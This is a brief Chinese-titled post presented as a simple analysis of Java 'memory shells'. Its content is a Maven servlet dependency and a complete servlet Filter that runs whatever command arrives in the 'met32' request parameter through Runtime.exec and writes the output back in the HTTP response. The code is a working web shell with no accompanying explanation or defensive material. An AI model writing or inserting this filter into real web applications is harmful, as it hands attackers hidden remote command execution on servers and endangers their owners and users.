JAVA内存马超简单剖析

<dependency>  <groupId>javax.servlet</groupId>  <artifactId>javax.servlet-api</artifactId>  <version>3.1.0</version></dependency>

public class MyFilter implements Filter {    @Override    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {          if(servletRequest.getParameter("met32")!=null){            Process process = Runtime.getRuntime().exec(servletRequest.getParameter("met32"));            InputStream inputStream = process.getInputStream();            BufferedReader buffer= new BufferedReader(new InputStreamReader(inputStream));            String line;            while((line = buffer.readLine())!=null){                servletResponse.getWriter().println(line);            }            servletResponse.getWriter().flush();        }        filterChain.doFilter(servletRequest,servletResponse);    }
    @Override    public void destroy() {
    }}